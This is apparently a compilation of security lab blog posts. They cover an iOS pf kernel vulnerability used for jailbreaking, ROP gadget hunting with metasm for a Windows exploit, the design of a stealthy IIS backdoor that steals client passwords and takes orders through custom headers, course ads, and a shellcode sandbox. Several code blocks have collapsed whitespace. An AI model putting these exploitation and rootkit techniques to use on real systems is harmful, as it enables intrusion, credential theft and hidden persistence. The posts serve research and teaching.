//bsd/net/pf_ioctl.cstaticintpfioctl(dev_tdev,u_longcmd,caddr_taddr,intflags,structproc*p){//...switch(cmd){//...caseDIOCADDRULE:{structpfioc_rule*pr=(structpfioc_rule*)addr;structpf_ruleset*ruleset;//...//copy structure passed from userspacebcopy(&pr->rule,rule,sizeof(structpf_rule));rule->cuid=kauth_cred_getuid(p->p_ucred);rule->cpid=p->p_pid;rule->anchor=NULL;rule->kif=NULL;TAILQ_INIT(&rule->rpool.list);/* initialize refcounting */rule->states=0;rule->src_nodes=0;rule->entries.tqe_prev=NULL;//...if(rule->overload_tblname[0]){if((rule->overload_tbl=pfr_attach_table(ruleset,rule->overload_tblname))==NULL)error=EINVAL;elserule->overload_tbl->pfrkt_flags|=PFR_TFLAG_ACTIVE;}//...caseDIOCCHANGERULE:{//...if(pcr->action==PF_CHANGE_REMOVE){pf_rm_rule(ruleset->rules[rs_num].active.ptr,oldrule);ruleset->rules[rs_num].active.rcount--;}//...}//...}

The rule field of the pfioc_rule structure passed from userland is copied into a kernel buffer, and then some of the structure fields are reinitialized. However, if rule->overload_tblname[0] `` is zero, the ``rule->overload_tbl pointer won't be initialized properly and will retain the value passed from userland. When the rule is removed, the pf_rm_rule function calls pfr_detach_table which in turn decrements a reference counter using the invalid pointer, allowing an arbitrary decrement anywhere in kernel memory :

//bsd/net/pf_ioctl.cvoidpf_rm_rule(structpf_rulequeue*rulequeue,structpf_rule*rule){if(rulequeue!=NULL){if(rule->states<=0){/*             * XXX - we need to remove the table *before* detaching             * the rule to make sure the table code does not delete             * the anchor under our feet.             */pf_tbladdr_remove(&rule->src.addr);pf_tbladdr_remove(&rule->dst.addr);if(rule->overload_tbl)pfr_detach_table(rule->overload_tbl);}//...}//bsd/net/pf_table.cvoidpfr_detach_table(structpfr_ktable*kt){lck_mtx_assert(pf_lock,LCK_MTX_ASSERT_OWNED);if(kt->pfrkt_refcnt[PFR_REFCNT_RULE]<=0)printf("pfr_detach_table: refcount = %d.\n",kt->pfrkt_refcnt[PFR_REFCNT_RULE]);elseif(!--kt->pfrkt_refcnt[PFR_REFCNT_RULE])//arbitrary decrement happens herepfr_setflags_ktable(kt,kt->pfrkt_flags&~PFR_TFLAG_REFERENCED);}

In order to decrement the dword at address addr, the pwn function of comex's exploit sets the pr.rule.overload_tbl to addr minus 0x4a4, which is the value of offsetof(struct pfr_ktable, pfrkt_refcnt[PFR_REFCNT_RULE]) on a 32 bit architecture. The exploit decrement the syscall 0 handler address in the sysent array which holds function pointers for all system calls. A trampoline shellcode is mapped at a specific address chosen so that only the most significant byte of the original pointer has to be decremented (the minimum amount to move the pointer from kernel space down to user space). This trampoline will simply call the ok_go C function which will patch various functions in the kernel to perform the jailbreak : make code signing checks return true, disable W^X policy, and restore the overwritten syscall handler.

This vulnerability is also present in other BSD operating systems using the pf module. However, since exploitation requires root privileges to access the /dev/pf file, the impact on those systems is minor.Apple's patch in iOS 4.2.1 added a function to safely initialize the pf_rule structures in the DIOCADDRULE and DIOCGETRULE handlers. A similar patch was recently committed into the OpenBSD CVS repository.


Metasm recipes: working with a process image

$
0
0

Today we'll discuss how metasm can be used to work with a process memory dump, and also how to search for gadgets suitable for a short ROP sequence.

While working on a vulnerability on a windows server, we had the following premises:

  • Non-executable heap
  • Randomised address space (except for the main binary)
  • We had the address of a buffer we control
  • Small stack overflow
  • Additional flaw allowing to read arbitrary 4bytes anywhere

From there, the tactic was simple:

  • Inject our shellcode in the buffer
  • Find the address of VirtualProtect
  • Jump on it to make the buffer executable
  • Return to the shellcode

We chose the easy path: determine the base address of kernel32. This is done by finding a pointer to k32 somewhere, the main binary IAT sounded like a good candidate. You just have to be careful to not use the address of some kernel32 import that is actually forwarded to some other library, like ntdll.

Once you have a pointer to some part of the library, you then scan backward, 0x10000 bytes at a time, until you find the MZ header. We were unsure of the version of the dll that was present on the server, so we used the read4 repeatedly to dump the whole library image from the process memory. On recent windows versions, you have to be careful, as some libraries include a virtual address gap, usually right after the PE header ; you need to jump over it, if you try to read this area the target will crash and you need to start all over again.

So this gave us the raw memory dump of the kernel32 module (fill the memory gap with zeroes). Now how can we work with it ? The usual tools are pretty useless there, they only handle disk images, and the memory image has not the exact same layout: PE sections are loaded at their memory offset, which is (usually) different from the disk file offset.

This was the time to unsheath Metasm. The standard disassembler GUI has the handy option --exe to change the default auto-determined file type. This way, we can tell that the PE file is a memory image, by using the LoadedPE class, generally used by the debugger, instead of the standard PE class.

Once in the GUI, type gvirtualp to find the address of the function we need (g opens the goto dialog, where we can put a fragment of a label name. If the fragment is ambiguous, this will pop a list of all the possible completions).

Additionally, we need to execute our shellcode.Now that we have given it RWX memory permissions, we still need to divert EIP to it; for that we will use a simple Return Oriented Programming sequence:

  • pop eax; retput the address of our buffer in eax
  • mov esp, eax; retstack points to our buffer
  • jmp espexecute the shellcode in the buffer

To find those in the library, we can use the brand new findgadget.rb disassembler plugin.

You can load it using ctrl+r, then type dasm.load_plugin \"findgadget\", or click the menu/action/run ruby plugin.

Once loaded, type the G key (or menu/action/scan for gadget), and type your asm in the box.You can separate instructions with ';' or spaces.

So, the magic commandline:

ruby samples/disassemble-gui.rb--exe LoadedPE -P findgadget k32_dump.bin

Job done.

Also, hacky new year !

Training at CanSecWest 2011 : Analysis of malicious documents

$
0
0

Jean-Baptiste and Guillaume will give a course about malicious document analysis during the next CanSecWest Dojo session at Vancouver (March 7th/8th).

The course deals with two major cases: PDF and Microsoft Office documents. Nowadays those two file formats have become a common vector to exploit end-user systems. Their respective vendor implementations, namely Adobe Reader and MS Office, are regularly prone to multiple vulnerabilities and antivirus software are merely overtaken by the complexity of these formats. Indeed, they are complex formats.

If you ever want to understand the inner workings of a malicious document, you will have to face that complexity and master the use of the proper tools to save you a lot of time without reinventing the wheel.You will there learn to use the OffVis tool and the Origami framework applied to authentic cases of exploits analysis. OffVis is the official Microsoft Office Visualization Tool, and Origami is a powerful Ruby framework for malicious PDF analysis created by one of the teacher of this course.

How to know if a document is malicious or not? How to extract its payload and analyze it? By the end of the day, you will have:

  • Understood the file formats of MS Office and PDF documents
  • Analyzed real MS Office and PDF exploits in practice

You will find below the detailed agenda for this one-day course.We are waiting for you!

Agenda (one day):

Microsoft Office documents analysis:

  • Description of Office documents file formats
    • Mostly focused on Word
    • Document organization (Office 97/2003, Office 2007/2010)
  • Study of Office macros
  • Detection process of a malicious Office document
    • Presentation of the tools of interest
  • Study of a document's internals: identifying exploits, locating and extracting the payload
  • Analysis of a document source, finding markers to create custom AV signatures
  • Analysis of authentic Office exploits cases

PDF documents analysis:

  • Description of the PDF file format
  • Presentation of PDF documents scripting features and exploitation
  • Study of obfuscation techniques using advanced PDF features
  • Detection process of a malicious PDF document
  • Analysis of a document's internals: locating and extracting the payload with Origami
  • Analysis of authentic PDF exploits cases

Who should attend?:

  • IT security specialists
  • Forensics analysts
  • Individuals interested in this topic

Prerequisites:

Participants must know how to use a debugger, a disassembler, and a hex editor

IIS Backdoor

$
0
0

In this article I will explain how I designed a rootkit for Microsoft Internet Information Services (IIS).The question is: why a backdoor in a web server?

First obvious but useless answer: because we can.

Ok, let us give a more clever answer. The purpose of backdooring a web sever is double:

  • It allows the attacker to access data sent by the clients. For instance, if the web site is password protected, we can retrieve this password.
  • It allows to backdoor on the fly anything sent from the server to the web client.

This second point is especially interesting as it allows the attacker to inject the proper exploit according to the web browser requesting the web page, or to infect an executable downloaded from the server.

IIS backdoor

What is IIS

IIS is Microsoft's web server, it is an important piece of Microsoft's web base technologies such as OWA. Many versions have been released from the first (IIS 1.0 under Windows NT 3.51) to the latest (IIS 7.5 under Windows Server 2008). It is widely deployed over the Internet and companies Intranets.

IIS enrichment

Microsoft has defined an API known as ISAPI (Internet Server Application Programming Interface) to help developers to add features to IIS. Two types of components can be added to IIS : extensions or filters.

ISAPI Extensions

Extensions are DLLs that export 3 functions:

  • GetExtensionVersion
  • HttpExtensionProc
  • TerminateExtension

Extensions are applications running inside IIS. They are loaded by IIS every time it needs them. Extensions access the content of a request and are responsible for responding to the client. For exemple, if a client requests the page http ://mydomain/myextension where myextension is your registered extension, the HttpExtensionProc of your extension will be called. IIS will provide it the following structure :

typedefstruct_EXTENSION_CONTROL_BLOCKEXTENSION_CONTROL_BLOCK{DWORDcbSize;DWORDdwVersion;HCONNconnID;DWORDdwHttpStatusCode;charlpszLogData[HSE_LOG_BUFFER_LEN];LPSTRlpszMethod;LPSTRlpszQueryString;LPSTRlpszPathInfo;LPSTRlpszPathTranslated;DWORDcbTotalBytes;DWORDcbAvailable;LPBYTElpbData;LPSTRlpszContentType;BOOL(WINAPI*GetServerVariable)();BOOL(WINAPI*WriteClient)();BOOL(WINAPI*ReadClient)();BOOL(WINAPI*ServerSupportFunction)();}EXTENSION_CONTROL_BLOCK;

This way HttpExtensionProc can read data from the request, treat it and send back a response using callback functions ReadClient and WriteClient.

ISAPI Filters

Filters are DLLs that exports 3 functions:

  • GetFilterVersion
  • HttpFilterProc
  • TerminateFilter

Filters are registered for a number of events, each time an event occurs during the lifetime of a request, the HttpFilterProc is called. Here is an incomplete list of events that a filter can register for:

  • SF_NOTIFY_PREPROC_HEADERS: happens when IIS has finished preprocessing headers.
  • SF_NOTIFY_SEND_RESPONSE: happens when IIS is ready to send response to the client
  • SF_NOTIFY_END_OF_REQUEST: happens when a request has ended its lifecycle
  • SF_NOTIFY_LOG: happens before IIS writes log for the current request

Once an event for which a filter is registered occurs, the filter's HttpFilterProc is called and is provided a structure, depending on the type of event. For example, if it is a SF_NOTIFY_END_OF_REQUEST event, the following structure is passed to the filter by IIS:

typedefstruct_HTTP_FILTER_LOGHTTP_FILTER_LOG{constchar*pszClientHostName;constchar*pszClientUserName;constchar*pszServerName;constchar*pszOperation;constchar*pszTarget;constchar*pszParameters;DWORDdwHttpStatus;DWORDdwWin32Status;DWORDdwBytesSent;DWORDdwBytesRecvd;DWORDmsTimeForProcessing;}HTTP_FILTER_LOG,*PHTTP_FILTER_LOG;

This structure contains all necessary pieces of information a filter needs to log the incoming request.

Extensions and Filters overview

The following scheme is a general presentation of how filters and extensions are reached by a client's request:

Schemaextfilts.png

Hidden Filter

To implement my IIS backdoor I have decided to use IIS filter mechanism rather than extension mechanism. Mainly because of stealth reason. Indeed, to reach an extension clients have to perform a request to an URL like this one : http ://mydomain/myextension. My extension would then appear in the server logs. If I use a filter it can be reached by calling any valid page on the server : this is a much more regular behaviour.

It is possible to register a filter via the IIS configuration panel (inside IIS configuration files) but this is everything but stealthy. I decided to add the filter manually inside IIS filters linked list. To do so I inject my dll in IIS process, the dll parses IIS process heap and manually registers itself in IIS filters list.

Two structure types are used to maintain IIS filters list in memory. The first one is the following:

typedefstructFILTER_LIST{unsignedintMagic;"FLIS"unsignedintunknown;unsignedintNumberOfFilters;PHTTP_FILTER_DLL*FilterPointerArray;unsignedintunknown2[10];unsignedintFlags1Sum;unsignedint*Flags1;unsignedintunknown3[10];unsignedintFlags2Sum;unsignedint*Flags2;}FILTER_LIST,*PFILTER_LIST;

It has the following members:

  • Magic : a magic DWORD with the value "FLIS".
  • NumberOfFilters : the numbers of filters.
  • FilterPointerArray : an array of filters.
  • Flags1Sum : the sum (with OR logic operand) of events all the filters are registered for.
  • Flags1 : an array of flags each filter is registered for.

Each filter has its own HTTP_FILTER_DLL structure, which is as following:

struct_HTTP_FILTER_DLL{unsignedintMagic;"FDLL"PHTTP_FILTER_DLLpPrevious;PHTTP_FILTER_DLLpNext;void*ModuleBaseAddress;void*HttpFilterProc;void*GetFilterVersion;void*TerminateFilter;unsignedintunknown1;unsignedintAcceptFlags1;unsignedintAcceptFlags2;unsignedintunknown2;char*DllPath;unsignedintunknown3;unsignedintunknown4;charString[DLL_PATH_SIZE];unsignedintunknown5;}HTTP_FILTER_DLL,*PHTTP_FILTER_DLL;
  • Magic : a magic DWORD with the value "FDLL".
  • pPrevious, pNext : pointers to previous and next HTTP_FILTER_DLL structure in the list.
  • ModuleBaseAddress: base address of the filter dll.
  • HttpFilterProc : address of the filter's HttpFilterProc function.
  • AcceptFlags1: the sum (with OR logic operand) of events the filter is registered for.

The following scheme shows how IIS filters are organized in memory :

SchemaListNoHidFilt.png

Knowing this memory organization it is easy to add a new hidden filter in memory. To do so we have to find the instance of the FILTER_LIST in the heap. Once found, we just have to add a new HTTP_FILTER_DLL structure in the HTTP_FILTER_DLL list and add a reference to it in the filter array of the FILTER_LIST structure:

SchemaListHidFilt.png

Backdoor Implementation

The backdoor is working on a very simple principle. Clients send requests with special headers containing orders and the filter replies by adding data to the outgoing response. The filter is registered for SF_NOTIFY_PREPROC_HEADERS and SF_NOTIFY_SEND_RAW_DATA events. Once an incoming request arrives, the filter is checking whether headers X-ORDER and/or X-DATA are present in the request, if so and if the order is known it executes it and replies. As our filter is notified for any page of the server, I can request any page on the server to communicate with my filter. I just need to add special headers to a regular request.

If I request a simple page (here /pwet.htm) without adding headers IIS has a normal behaviour, i.e IIS response is as following:

GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
Connection: Keep-Alive
Content-type: application/x-www-form-urlencoded
Accept: */*

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:50 GMT
Content-Length: 31
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0

<html>

Pouetpouet

</html>

But if I request the same page and add an order (here the order is "ListDir" of base64("C:") ), then I have the following result:

GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
X-Order: ListDir
Connection: Keep-Alive
X-Data: Qzpc
Content-type: application/x-www-form-urlencoded
Accept: */*

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:57 GMT
Content-Length: 353
X-Resp: OK
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0

<html>

Pouetpouet

</html>
[F] C:\AUTOEXEC.BAT
[F] C:\boot.ini
[F] C:\bootfont.bin
[F] C:\CONFIG.SYS
[D] C:\Documents and Settings
[D] C:\Inetpub
[F] C:\IO.SYS
[F] C:\MSDOS.SYS
[F] C:\NTDETECT.COM
[F] C:\ntldr
[F] C:\pagefile.sys
[D] C:\Program Files
[D] C:\System Volume Information
[D] C:\WINDOWS
[D] C:\wmpub

So, backdoring a IIS web server is not that difficult and can give you a lot of opportunities...

Training at CanSecWest 2011: Advanced binary deobfuscation

$
0
0

Yoann 'jj' Guillot will also be giving a course about advanced binary deobfuscation, during the next CanSecWest Dojo session in Vancouver (March 7th/8th).

The course will teach you how to overcome state-of-the-art binary obfuscation.

You will see, and learn to defeat :

  • traditional junk,
  • arithmetic code hiding,
  • code flattening,
  • and virtual-machine based obfuscation schemes.

This will be accomplished using the metasm framework, which is already known in this field.Yoann, as the main developper of the framework, will teach you the most efficient ways to reach your goals.

The course is a reedition of last year's dojo, improved based on students feedback.It now fits in one day, with only the most relevant parts kept in, for an even more didactic training session.

In the end of the day, you'll be well armed to face heavily protected binaries, and pierce through their various obfuscation layers.

Register now !monday 3/7 | tuesday 3/8

Agenda

(one day course)

  • Quick introduction to the framework, core classes/methods
  • Disassembly & debugging overview
  • Plugin architecture
  • Static deobfuscation, using advanced pattern matching
  • Graph manipulation to counter code flow obfuscation
  • Reversing a virtual machine interpreter using instruction semantics
  • Disassembling the virtual opcodes directly

Requirements :

You'll need a laptop running either Windows or Linux.If you have ruby pre-installed, a 32-bit, 1.8 version is preferred.You should also be already familiar with x86 assembly code, and have already worked on obfuscated code, either real-world or custom challenges.

If you have any question, check out the irc channel #metasm on the freenode network, or ask @metasm on twitter

Splitting a mercurial repository : HgSplit

$
0
0

Here at the R&D lab we use mercurial for our code versionning.

One of the problems we faced was that sometimes we would commit big files like pdfs or raw data into a repository.This is fine, as long as the repository remains for internal eyes only.Then at some point later, we want to publish our code, but having such garbage in the repository is totally not cool.

So I wrote this tool.

Basically, it allows you to clone a part of an existing repository, keeping the history intact (commit date, author, and message), while applying a filter on the tracked files.

So now we can duplicate our repository, while purging all traces of our ugly data file ; but we can also split a repository holding both code and documentation to two separate repositories, etc.

License

As usual, our code is published under an open-source license.

The particular code is published under the terms of the WtfPLv2

Download

You can grab your copy from github.

Usage

If you value your work, always work on a copy of your main repository, just to be safe.

The program takes a few arguments, which are pretty self-explainatory.

Usage: hgsplit [options]
    -s, --repo <path>                path to the repository to split
    -d, --subrepo <path>           path to the directory that will hold the repo
    -x, --exclude                        ignore files in the filelist, include all others
    -r, --regex                           the file list is a list of regexps
    -i, --initial-commit <commitid>  start from this commit (linear commit number - 0 == init)
    -f, --final-commit <commitid>    end at this commit (linear commit number)
    -v, --verbose                       be verbose
    -l, --list <listfile>                 file holding a list of files, one per line

Example

We have our main repository in repo/. It holds a bunch of files, including some *.raw files that we want out.

# first, make a copy of the repo just to be safe
$ hg clone repo repo_copy

# split the repo, ignoring all files matching the given regexp
$ ruby hgsplit.rb -s repo_copy -d repo_clean -r -x '\.raw$'
subrepository saved to repo_clean/, saved 34 changes from 35 total.

# now we can shamelessly publish our code
$ rm -r repo_copy
$ cd repo_clean
$ hg push git+ssh://github.com/me/awesome_repo/

x64 spoon

$
0
0

While coding and debugging some low-level stuff I sometime need to write a little piece of assembly code to see if i'm right. Until now, I was writing code into a process debugged with OllyDbg, and steping it. Pretty ugly, but it works when you want to know what a "smsw eax" is doing. Last time, I was confronted to the X64 reality, where no public tool like OllyDbg allow you to debug a 64-bit process on Windows. So I decided to write a little application to see how some 64-bit instructions are running.

Just for the fun I started this project on Linux X86_64, and just because it's cool the code is running into a "sandboxed" environment.

I know Linux provides a nice feature for hardened sandboxing called SECCOMP. The idea is, you can only use 4 syscalls: read(), write(), exit() and sigreturn. Of course read() and write() can only be called on existing opened file descriptors, so this can be pretty safe.This feature is even use by Chrome for its Linux sandbox. If you are interested, more details are given by Nicolás Bareil in Sandboxing based on SECCOMP for Linux kernel.

Also, I'm using Linux X86_64 but I wanted to run both 64-bit and 32-bit code snippets without having 2 different processes. You know 64-bit kernels (CONFIG_X86_64) allow you to run 32-bit native applications if you compile in support for CONFIG_IA32_EMULATION.

A few words about X64 computing. For the CPU this mode is called IA-32e mode (or long-mode). To enable it you need to set bit LME (Long Mode Enabled) in MSR IA32_EFER (see Intel manual vol 3A : Initializing IA-32e Mode). Then if you want to run 64-bit code your must setup a code segment (CS) with bit L (64-bit code segment) at 1 and D (operand-size) to 0. (Intel manual vol 3A: Segment Descriptors).So if you want to run both 32-bit and 64-bit code with the same kernel, you must have at least two segment descriptors in your GDT, or have 2 GDTs (General Descriptor Table). One entry must have L=1 and D=0, for 64-bit code, and the other L=0 and D=1 for 32-bit code. Linux uses 1 GDT, with 2 segments named GDT_ENTRY_DEFAULT_USER_CS and GDT_ENTRY_DEFAULT_USER32_CS. For your indication cs64=0x33 (RPL:3 TABLE:0 INDEX:6) and cs32=0x23 (RPL:3 TABLE:0 INDEX:4)

So if you want to run pure 32-bit code into a 64-bit task you "just" need to update your segment selector. This task can be hard because you cannot just change your CS segment selector with a MOV instruction, other ways are provided to do this.

In order to perform this hack I chose the famous Metasm framework. So here is my configuration:

ivan@converge:~$ ruby -v
ruby 1.8.7 (2010-08-16 patchlevel 302) [x86_64-linux]ivan@converge:~$  hg clone https://metasm.cr0.org/hg/metasm
requesting all changesadding changesetsadding manifestsadding file changesadded 2239 changesets with 4294 changes to 306 filesupdating to branch default217 files updated, 0 files merged, 0 files removed, 0 files unresolvedivan@converge:~$exportRUBYLIB=~/metasm

For my POC i want to have my Ruby process and:

  • Grab some assembly (64 or 32) and compile it.
  • Create a subprocess with restrictions: limited access to resources and SECCOMP mode enabled. The subprocess can exchange with his parent only via a dedicated pipe.
  • Run the shellcode in a basic environment. All GPRs (General Purpose Register) cleared and a clean stack. Code and data segments are flats (they address all the memory). FS and GS are not supported.
  • Read the result with the parent. I'll use the GPRs final values as result.

Do it yourself

For the first part we will use the Shellcode class from Metasm. With method assemble we easily assemble what we want by specifying the target CPU. We will use the X86_64 CPU for now, so only assemble 64-bit code. You can obtain the raw assembly with the encode_string method on the Shellcode object.For example:

asm=Metasm::Shellcode.assemble(Metasm::X86_64.new,shellcode_src).encode_string

And you got your code in asm variable.

The next part requires creating a subprocess. For this we just fork() and after that, in the child, we setup some limits :

  • CPU user time and memory allocation are limited with setrlimit() calls, on RLIMIT_CPU and RLIMIT_AS. The setrlimit and fork methods are directly provided by the core ruby class Process.
  • To close all possible opened file descriptors (because Ruby's runtime could have opened some FDs I'm not aware of) I decided to use syscall close() because I cannot find a sysclose() method in Ruby IO's class (even if sysopen() is present ...). But it's impossible to directly use LIBC functions from Ruby. Impossible? Not for Metasm ! I used Metasm's DynLdr module, its role is closed to python module CTYPES. It provides you a wrapper for any native library. So you can wrap a function like memfrob() and invoke it from your Ruby code.

Moreover, the DynLdr module allows to compile and run asm or C code directly in the Ruby process. Pretty useful isn't it?

So if I want to close all fds except mine, I can write:

dl=Metasm::DynLdrdl.new_func_c<<EOSint close(int);void closefds(int max, int keep){        int fd;        for(fd=0; fd<=max; fd++)                if(keep!=fd)                        close(fd);}EOSdl.closefds(maxfd,wr.fileno)

Notice the new_func_c method, it parses the C source and compiles it on the fly ! You can even call stdlib functions.

  • To enable SECCOMP mode you call prctl() with option PR_SET_SECCOMP (22). Very easy now with DynLdr:
# enter SECCOMP modedl.new_api_c("int prctl(int option, long, long, long, long);","/lib/libc.so.6")ifnotdl.respond_to?:prctlputs"[-] prctl not found"returnendstatus=dl.prctl(22,1,0,0,0)ifstatus!=0puts"[-] prctl call failed"returnend

This time I didn't use new_func_c but new_api_c, with this one you can declare an extern C function from its prototype to make it available from the Ruby. Here the second argument (libc.so.6) is not necessary because all GNU libc exports are already defined in metasm/os/gnu_exports.rb ; but now the reader knows he can interface with others libraries :]

Our child process is now able to run safely our code. If we want to dump the GPRs after the code execution we need to wrap it. For this, I use new_func_asm to create a new function written in assembly, compile it and load it inside the Ruby process address space. In a few words, this function clears the GPRs, calls the code and puts the GPRs into a buffer given as argument. Then I just have to print results in the pipe for our parent to have them.

So if I decide to run :

ivan@converge:~$ cat shellcode
inc raxmov rdi, 0xdeadbeefc0febabexchg rax, rbxpush rdipop rsixor rdi, rdiivan@converge:~$ ruby spoon.rb shellcode --x64
Rax: 0x0 | Rbx: 0x1 | Rcx: 0x0 | Rdx: 0x0 | Rsi: 0xDEADBEEFC0FEBABE | Rdi: 0x0

To sum up, Metasm assembled code from file 'shellcode', forked a child, setup some restrictions, ran it and printed the GPRs state after the assembly execution. All of this happened in the Ruby process. Here, I chose not to print registers R8 to R15.

And if I try to run this :

ivan@converge:~$ cat shellcode
jmp $ivan@converge:~$ ruby spoon.rb shellcode --x64
 [wait 2s]Something wrong happened !ivan@converge:~$

The child was killed by the kernel because he has consumed too much user CPU time.

Gimme moar power !

In this part we will see how to run 32-bit code in our 64-bit Ruby process. The plan is :

  1. Run 32-bit code in a 64-bit task.
  2. ???
  3. Profit !

As I said at the beginning, I want to run both 32-bit and 64-bit code in the same process. To achieve that I could reuse the GDT_ENTRY_DEFAULT_USER32_CS code segment selector, but I decided to see if Linux is well working, so I'll create my own code segment with syscall modify_ldt(). Here I'm allocating my own LDT (Local Descriptor Table), the same than a GDT but only for my process. In this LDT will be placed my own segment descriptors. For example I can have a 16bits dedicated stack segment. Of course you cannot do what you want with the new segment descriptors, the kernel validates them before, but you know sometimes you're doing it wrong !

So basically, I need to:

  1. Map my code and stack at some 32-bit address. We use mmap() with flag MAP_32BIT for this.
  2. Initialize the stack and write the code in memory.
  3. Perform a 64 to 32 transition.
  4. Execute the 32-bit code.
  5. Go back to a 64-bit code segment to print the result.

The first point is easy, now armed with Metasm:

dl.new_api_c<<EOSlong mmap(long addr, long length, long prot, long flags, long fd, long offset);long munmap(long addr, long length);struct user_desc {  unsigned __int32 entry_number;  unsigned __int32 base_addr;  unsigned __int32 limit;  int seg_32bit:1;  int contents:2;  int read_exec_only:1;  int limit_in_pages:1;  int seg_not_present:1;  int useable:1;};long modify_ldt(int func, struct user_desc*ptr, long bytecount);#define PROT_R 1#define PROT_W 2#define PROT_X 4#define MAP_PV 0x2#define MAP_ANON 0x20#define MAP_32 0x40EOSifnotdl.respond_to?:mmapputs"[-] mmap not found"returnendifnotdl.respond_to?:modify_ldtputs"[-] modify_ldt not found"returnend# alloc memory in 32b user-spacecode32=dl.mmap(0,MEMSIZE,dl::PROT_R|dl::PROT_W|dl::PROT_X,dl::MAP_PV|dl::MAP_ANON|dl::MAP_32,-1,0)ifcode32==-1puts"[-] mmap failed (code32)"returnendputs"[+] Allocated code32 at: #{code32.to_s(16)}"stack32=dl.mmap(0,MEMSIZE,dl::PROT_R|dl::PROT_W,dl::MAP_PV|dl::MAP_ANON|dl::MAP_32,-1,0)ifstack32==-1puts"[-] mmap failed (stack32)"returnendputs"[+] Allocated stack32 at: #{stack32.to_s(16)}"# Our LDT:# 0 empty# 1 code32 segment# ...# create an LDT entry, map code segment to our memory and copy shellcode into# entry=1# ldt_entry base_addr size_in_pages# 32bits:1 type:2 (2=code) readonly:0 limit_in_pages:1 seg_not_present:0 usable:1# MODIFY_LDT_CONTENTS_CODE=2struct=dl.alloc_c_struct('user_desc')struct.entry_number=1struct.base_addr=0struct.limit=(1<<32)-1struct.seg_32bit=1struct.contents=2struct.read_exec_only=1struct.limit_in_pages=1struct.seg_not_present=0struct.useable=1ifdl.modify_ldt(1,struct,struct.length)!=0puts"[-] modify_ldt failed"returnend

As you can see, Metasm supports structure declarations. You initialize them with alloc_c_struct.

Now the hard part, how do we switch from a 64-bit to a 32-bit code segment? We can perform a far-call, a far-jmp, even a far-ret ; but I prefer to use an iret instruction because it allows you to change both CS, EIP, SS and the ESP register at the same time. The iret instruction is allowed for this because we are moving to a conforming code segment with the same DPL (Descriptor Privilege Level). To be short, we stay in ring3 user-land :]

To call iret we need a proper stack to tell what the CPU state will be. To be precise we must provide EIP, CS, EFLAGS, ESP and SS. Even if we still have a 64bits stack we need to push argument as if we were in 32bits, so the stack will look like this:

 Highdw    Lowdw
[ eip    | eip  ] <- rsp
[ eflags | esp  ]
[ ss     |  0   ]

Then we launch iret and land in our new code segment.

Last question: how to come back from 32-bit to the 64-bit code segment ? Remember we moved our code to 32-bit addressable memory, but our original 64-bit code (the caller) is not necessarily in this range, so we need a stager in 64-bit code inside the 32-bit addressable memory to perform a far-jmp back to our caller. At the end of the 32-bit code we put a far-ret, when we have initialized the stack some things were pushed, the original 64-bit code segment (GDT_ENTRY_DEFAULT_USER_CS if you prefer) and pointer to a code located just after the stager.

At the end of the 32-bit code execution, we do a far-ret, which comes back in 64-bit mode, but still in the 32-bit addressable memory, and then we can call our far-jmp to our caller.

Last thing, the far-jmp has to know where to find the caller RIP and RSP.

Here is the code ('shellcode' holds our binary 32bit compiled shellcode):

stager=Metasm::Shellcode.assemble(Metasm::X86_64.new,<<EOS).encode_string# our 32-bit shellcode goes heredb #{shellcode.inspect}retf # return in 64bits to next mov instruction# stack crafted so that retf lands here, in 64-bit modemov rsp, [rip-$_+1f]jmp [rip-$_+2f]1: dq 0xdeadbeefc0feb4be ; caller rsp, patch me !2: dq 0xdeadbeefc0feb4be ; caller rip, patch me !EOSdl.memory_write(code32,stager)

Now we are able to run 32-bit code in our 64-bit process ! For example :

ivan@converge:~$ cat shellcode
inc eaxmov edi, 0xdeadbeefxchg eax, ebxpush edipop esixor edi, ediivan@converge:~$ ruby spoon.rb shellcode
Eax: 0x0 | Ebx: 0x1 | Ecx: 0x0 | Edx: 0x0 | Esi: 0xDEADBEEF | Edi: 0x0

And if I try:

ivan@converge:~$ cat shellcode
inc raxivan@converge:~$ ruby spoon.rb shellcode
/home/ivan/metasm/metasm/parse.rb:59:in `parse_instruction': invalid opcode arguments "inc rax", allowed : [[:reg], [:modrm], [:modrm]] near "inc" at "\"<unk>\"" line 1 (Metasm::ParseError)        from /home/ivan/metasm/metasm/parse.rb:330:in `parse'        from /home/ivan/metasm/metasm/exe_format/shellcode.rb:69:in `assemble'        from /home/ivan/metasm/metasm/exe_format/main.rb:70:in `assemble'        from spoon.rb:237:in `run_shellcode'        from spoon.rb:315ivan@converge:~$

I can haz syscallz ??

Now you should be like Bruce Dang:wtfhead

The point is: "Ok, I'm seccomped now, but i still can use write on the opened file descriptor, so wut can happened?"Knowing the opened pipe file descriptor number is 4 you can run:

ivan@converge:~$ cat shellcode
mov rbx, 'i<3bruce'push rbxinc rax ; syscall write in 64bitsmov rdi, 4 ; fdlea rsi, [rsp]inc rdxshl rdx, 3 ; 8 charssyscallpop rbxivan@converge:~$ ruby spoon.rb shellcode  --x64
i<3bruceRax: 0x8 | Rbx: 0x6563757262333C69 | Rcx: 0x7FFC4E5F4082 | Rdx: 0x8 | Rsi: 0x7FFF111A99F0 | Rdi: 0x4ivan@converge:~$

You can show your love ! You just have written your own data in the pipe, not very useful ... Moreover, I have to admit it, the x64 syscalls calling convention is a bit scary.

A cool thing is you can always call 32-bit syscalls from a 64-bit process:

ivan@converge:~$ cat shellcode
push 'ruce'push 'i<3b'mov eax, 4 ; sys_write in 32-bitmov ebx, 4 ; fdmov ecx, espmov edx, 8 ; 8 charsint 0x80add esp, 8ivan@converge:~$ ruby spoon.rb shellcode
i<3bruceEax: 0x8 | Ebx: 0x4 | Ecx: 0x41443FF0 | Edx: 0x8 | Esi: 0x0 | Edi: 0x0ivan@converge:~$

Time to die pilot !

